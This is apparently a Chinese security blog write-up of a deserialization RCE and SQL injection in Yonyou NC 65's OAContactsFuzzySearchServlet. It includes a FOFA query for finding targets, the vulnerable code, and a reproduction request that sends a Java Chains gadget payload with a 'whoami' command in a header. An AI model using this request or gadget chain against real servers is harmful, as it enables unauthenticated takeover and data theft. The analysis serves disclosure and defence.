用友NC OAContactsFuzzySearchServlet 反序列化漏洞+SQL注入漏洞


漏洞简介

用友NC是用公司推出的一款企业管理软件,涵盖财务、供应链、生产制造等多个业务领域,旨在帮助企业实现信息化管理。用友NC的OAContactsFuzzySearchServlet组件存在反序列化漏洞。该Servlet在处理用户请求时,可能对接收到的序列化数据(如Java的ObjectInputStream)未进行安全检查,直接进行反序列化操作。攻击者可以构造恶意的序列化对象,其中包含可执行的代码,当OAContactsFuzzySearchServlet反序列化该恶意对象时,就会触发代码执行。该漏洞可能允许攻击者在服务器上执行任意代码,从而完全控制服务器,窃取敏感数据,篡改系统配置,或进行其他恶意活动,对企业的业务系统和数据安全构成严重威胁。

影响版本

NC 65

fofa语法

app="用友-UFIDA-NC"

漏洞分析

反序列化

直接看下OAContactsFuzzySearchServlet的实现

public class OAContactsFuzzySearchServlet extends HttpServlet {
    private static final long serialVersionUID = -5847889958965745395L;

    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        ObjectInputStream in = new ObjectInputStream(request.getInputStream());
        HashMap<Object, Object> headInfo = new HashMap();

        try {
            headInfo = (HashMap)in.readObject();

由于代码在处理 HTTP 请求时,直接对用户传入的输入流进行 Java 反序列化操作(in.readObject()),且该操作发生在任何身份验证或安全检查之前,造成了未经身份验证的远程代码执行(RCE)漏洞。攻击者可以构造恶意的序列化数据流,在服务器反序列化时执行任意代码。

SQL注入

在反序列化解析后其中的userCode和dsName被带入getUserByCodeOrPK方法

try {
    headInfo = (HashMap)in.readObject();
} catch (ClassNotFoundException e1) {
    CpLogger.error(e1.getMessage());
}

String userCode = (String)headInfo.get("userCode");
String dsName = (String)headInfo.get("dsName");
ISecurityTokenCallback sc = (ISecurityTokenCallback)NCLocator.getInstance().lookup(ISecurityTokenCallback.class);
InvocationInfoProxy.getInstance().setUserCode(userCode);
byte[] annonyTokens = sc.token("0".getBytes(), userCode.getBytes());
sc.restore(annonyTokens);
UserQryService service = new UserQryServiceImpl();
CpUserWithDetailVO[] userArray = service.getUserByCodeOrPK(userCode, dsName);

继续跟进getUserByCodeOrPK方法

public class UserQryServiceImpl implements UserQryService {
    public CpUserWithDetailVO[] getUserByCodeOrPK(String param, String dataSourceName) {
        String tableName = CpUserWithDetailUtil.getDefaultTableName();
        PtBaseDAO dao = new PtBaseDAO(dataSourceName);
        String sql = "SELECT * FROM " + tableName + " WHERE cp_user.user_name like '%" + param + "%'  OR cp_user.user_code like '%" + param + "%'";
        SQLParameter SqlParam = new SQLParameter();
        SqlParam.addParam(param);
        SqlParam.addParam(param);
        List list = null;

param 变量(即 userCode)是直接从反序列化的 headInfo 中获取的用户输入,未经任何过滤或转义,就被直接用于构建SQL查询语句。尽管代码后续创建了 SQLParameter 对象并调用了 addParam(param),但这些参数是为预编译语句准备的。然而,sql 字符串本身是通过字符串拼接构建的,而不是一个带有占位符的预编译语句模板。因此,SQLParameter 的使用在此处无法阻止SQL注入,因为注入点在 sql 字符串被解析和执行之前就已经形成了,从而造成了SQL注入漏洞。

漏洞复现

POST /servlet/OAContactsFuzzySearchServlet?pageId=login HTTP/1.1
Host: nc.mrxn.net
Content-Type: application/x-java-serialized-object
X-Authorization: whoami

{{file(/tmp/javachains.ser)}}

使用Java Chains 的TransformerWithDefiningClassLoader2构造绕黑名单进行命令执行回显

成功执行命令并回显执行结果


手机扫码阅读

金和OA AddressImportPub.aspx XXE漏洞

金和OA AddressImportList.aspx XXE漏洞

评 论